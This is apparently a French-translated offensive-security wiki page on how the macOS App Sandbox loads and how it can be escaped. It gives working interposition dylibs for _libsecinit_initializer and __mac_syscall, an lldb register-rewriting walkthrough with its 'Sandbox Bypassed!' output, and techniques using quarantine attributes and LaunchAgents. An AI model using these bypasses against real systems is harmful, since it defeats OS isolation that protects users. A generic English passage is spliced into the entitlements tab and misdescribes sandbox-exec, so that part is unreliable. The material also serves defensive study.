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Processus de chargement du bac à sable macOS
Dans l'image précédente, il est possible d'observer comment le bac à sable sera chargé lorsqu'une application avec l'entitlement com.apple.security.app-sandbox est exécutée.
Le compilateur liera /usr/lib/libSystem.B.dylib au binaire.
Ensuite, libSystem.B appellera d'autres fonctions jusqu'à ce que xpc_pipe_routine envoie les entitlements de l'application à securityd. Securityd vérifie si le processus doit être mis en quarantaine à l'intérieur du bac à sable, et le cas échéant, il sera mis en quarantaine.
Enfin, le bac à sable sera activé par un appel à __sandbox_ms qui appellera __mac_syscall.
Possibles contournements
Contournement de l'attribut de quarantaine
Les fichiers créés par des processus mis en bac à sable se voient attribuer l'attribut de quarantaine pour empêcher les évasions du bac à sable. Cependant, si vous parvenez à créer un dossier .app sans l'attribut de quarantaine dans une application mise en bac à sable, vous pourriez faire pointer le binaire du bundle de l'application vers /bin/bash et ajouter des variables d'environnement dans le plist pour abuser de open et lancer la nouvelle application hors du bac à sable.
C'est ce qui a été fait dans CVE-2023-32364.
{% hint style="danger" %}
Par conséquent, pour l'instant, si vous êtes simplement capable de créer un dossier portant un nom se terminant par .app sans attribut de quarantaine, vous pouvez échapper au bac à sable car macOS ne vérifie que l'attribut de quarantaine dans le dossier .app et dans l'exécutable principal (et nous allons faire pointer l'exécutable principal vers /bin/bash).
Notez que si un bundle .app a déjà été autorisé à s'exécuter (il a un xttr de quarantaine avec le drapeau autorisé à s'exécuter), vous pourriez également l'abuser... sauf que maintenant vous ne pouvez pas écrire à l'intérieur des bundles .app à moins d'avoir certaines autorisations TCC privilégiées (que vous n'aurez pas dans un bac à sable élevé).
{% endhint %}
Abus de la fonctionnalité Open
Dans les derniers exemples de contournement du bac à sable de Word, on peut voir comment la fonctionnalité open en ligne de commande peut être abusée pour contourner le bac à sable.
{% content-ref url="macos-office-sandbox-bypasses.md" %} macos-office-sandbox-bypasses.md {% endcontent-ref %}
Agents/Daemons de lancement
Même si une application est censée être mise en bac à sable (com.apple.security.app-sandbox), il est possible de contourner le bac à sable si elle est exécutée à partir d'un LaunchAgent (~/Library/LaunchAgents) par exemple.
Comme expliqué dans cet article, si vous souhaitez obtenir une persistance avec une application mise en bac à sable, vous pourriez la faire s'exécuter automatiquement en tant que LaunchAgent et peut-être injecter du code malveillant via des variables d'environnement DyLib.
Abus des emplacements de démarrage automatique
Si un processus mis en bac à sable peut écrire à un endroit où plus tard une application non mise en bac à sable va exécuter le binaire, il pourra s'échapper simplement en plaçant le binaire là-bas. Un bon exemple de ce type d'emplacements sont ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.
Pour cela, vous pourriez même avoir besoin de 2 étapes : faire en sorte qu'un processus avec un bac à sable plus permissif (file-read*, file-write*) exécute votre code qui écrira effectivement à un endroit où il sera exécuté hors du bac à sable.
Consultez cette page sur les emplacements de démarrage automatique :
{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}
Abus d'autres processus
Si à partir du processus en bac à sable vous êtes capable de compromettre d'autres processus s'exécutant dans des bacs à sable moins restrictifs (ou aucun), vous pourrez échapper à leurs bacs à sable :
{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}
Compilation statique et liaison dynamique
Cette recherche a découvert 2 façons de contourner le bac à sable. Parce que le bac à sable est appliqué depuis l'espace utilisateur lorsque la bibliothèque libSystem est chargée. Si un binaire pouvait éviter de la charger, il ne serait jamais mis en bac à sable :
- Si le binaire était complètement compilé de manière statique, il pourrait éviter de charger cette bibliothèque.
- Si le binaire n'avait pas besoin de charger de bibliothèques (car le lien est également dans libSystem), il n'aurait pas besoin de charger libSystem.
Shellcodes
Notez que même les shellcodes en ARM64 doivent être liés dans libSystem.dylib:
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
Autorisations
Notez que même si certaines actions peuvent être autorisées par le bac à sable si une application possède une autorisation spécifique, comme dans :
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
Contournement de l'interposition
Pour plus d'informations sur l'interposition, consultez :
{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}
Interposer _libsecinit_initializer pour contourner le bac à sable
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
void _libsecinit_initializer(void);
void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}
__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
Interposer __mac_syscall pour prévenir le bac à sable
{% code title="interpose.c" %}
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <string.h>
// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);
// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}
// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};
// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
{% endcode %}
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
Déboguer et contourner le bac à sable avec lldb
Compilons une application qui devrait être sandboxée :
{% tabs %} {% tab title="sand.c" %}
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
{% endtab %}
{% tab title="entitlements.xml" %}
macOS Sandbox Debug and Bypass
Debugging the macOS sandbox
When debugging a macOS sandbox, you can use the sandbox-exec tool to launch a process within a sandbox environment. This allows you to test the restrictions imposed by the sandbox and identify any potential vulnerabilities.
To debug a macOS sandbox, you can create a custom entitlements file (entitlements.xml) specifying the entitlements you want to grant to the sandboxed process. You can then use the sandbox-exec tool with the -f flag to specify the path to your entitlements file.
sandbox-exec -f entitlements.xml /path/to/your/application
By launching your application with a custom entitlements file, you can observe how the sandbox restricts its behavior and identify any weaknesses that could be exploited for privilege escalation.
Bypassing the macOS sandbox
Bypassing the macOS sandbox involves finding and exploiting vulnerabilities in the sandbox implementation to execute unauthorized actions or escape the confines of the sandbox. This can allow an attacker to escalate privileges and perform malicious activities on the system.
To bypass the macOS sandbox, attackers typically look for flaws in the sandbox profile, kernel extensions, or system services that can be leveraged to bypass the restrictions imposed by the sandbox. By understanding how the sandbox works and where its weaknesses lie, attackers can develop techniques to bypass its protections.
It is essential for developers and security professionals to regularly test the security of macOS sandboxes to identify and patch any vulnerabilities that could be exploited by attackers. Additionally, staying informed about the latest security updates and best practices for sandboxing can help mitigate the risk of sandbox bypasses.
{% endtab %}
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
{% endtab %}
{% tab title="Info.plist" %}
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>
{% endtab %} {% endtabs %}
Ensuite, compilez l'application :
{% code overflow="wrap" %}
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
# Create a certificate for "Code Signing"
# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
{% endcode %}
{% hint style="danger" %}
L'application va essayer de lire le fichier ~/Desktop/del.txt, que le bac à sable n'autorisera pas.
Créez un fichier là-dedans car une fois que le bac à sable est contourné, il pourra le lire :
echo "Sandbox Bypassed" > ~/Desktop/del.txt
{% endhint %}
Déboguons l'application pour voir quand le Bac à sable est chargé :
# Load app in debugging
lldb ./sand
# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine
# run
(lldb) r
# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660
# Move until the end of the function
(lldb) finish
# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"
#
# BYPASS
#
# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
-> 0x187659900 <+0>: mov x16, #0x17d
0x187659904 <+4>: svc #0x80
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
{% hint style="warning" %} Même avec la contournement du bac à sable, TCC demandera à l'utilisateur s'il souhaite autoriser le processus à lire des fichiers depuis le bureau. {% endhint %}
Références
- http://newosxbook.com/files/HITSB.pdf
- https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
- https://www.youtube.com/watch?v=mG715HcDgO8
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